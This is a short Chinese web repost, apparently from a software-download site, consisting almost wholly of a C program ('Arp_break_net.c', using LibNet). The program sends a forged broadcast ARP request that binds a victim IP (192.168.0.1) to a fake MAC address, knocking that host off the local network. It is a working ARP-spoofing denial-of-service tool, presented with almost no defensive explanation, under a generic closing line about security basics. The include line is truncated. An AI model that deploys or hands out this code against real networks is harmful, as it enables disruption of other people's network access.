動態(tài)ARP可導(dǎo)致整個TCP/IP網(wǎng)絡(luò)中斷
發(fā)表時間:2023-07-12 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]程序名:Arp_break_net.c 用途 :演示通過ARP數(shù)據(jù)包使網(wǎng)絡(luò)中的某主機無法連接網(wǎng)絡(luò) 演示中192.168.0.1 將無法連接進入網(wǎng)絡(luò) 編寫 :cloud 時間 :2001-2-...
程序名:Arp_break_net.c
用途 :演示通過ARP數(shù)據(jù)包使網(wǎng)絡(luò)中的某主機無法連接網(wǎng)絡(luò)
演示中192.168.0.1 將無法連接進入網(wǎng)絡(luò)
編寫 :cloud
時間 :2001-2-11
其他 :程序依賴LibNet
*/
#include
u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (偽造的一個不存在MAC地址)
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
//目標(biāo)MAC地址(廣播地址)
u_char ip_src[4] = {192,168,0,1};
//源IP地址 (被踢出網(wǎng)絡(luò)的IP地址)
u_char ip_dst[4] = {192,168,0,255};
//目標(biāo)IP地址 (隨便一個IP地址)
int main(int argc, char *argv[])
{
int c;
char errbuf[256];
char *device = "eth0"; //數(shù)據(jù)包從第一個網(wǎng)卡發(fā)送出去
struct libnet_link_int *l;
l = libnet_open_link_interface(device, errbuf); //打開設(shè)備
if (!l)
{
fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
c = send_arp(l, device); //發(fā)送ARP數(shù)據(jù)包
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
int send_arp(struct link_int *l, u_char *device)
{
int n;
u_char *buf;
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
{
perror("libnet_init_packet memory:");
exit(EXIT_FAILURE);
}
/*
* 構(gòu)造以太數(shù)據(jù)包頭部信息
*/
libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
/*
* 構(gòu)造ARP數(shù)據(jù)包頭部信息
*/
libnet_build_arp(ARPHRD_ETHER,
ETHERTYPE_IP,
6,
4,
ARPOP_REQUEST,
enet_src,
ip_src,
enet_dst,
ip_dst,
NULL,
0,
buf + ETH_H);
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //發(fā)送數(shù)據(jù)包
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
libnet_destroy_packet(&buf);
return (n);
}
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費電腦中毒的煩擾。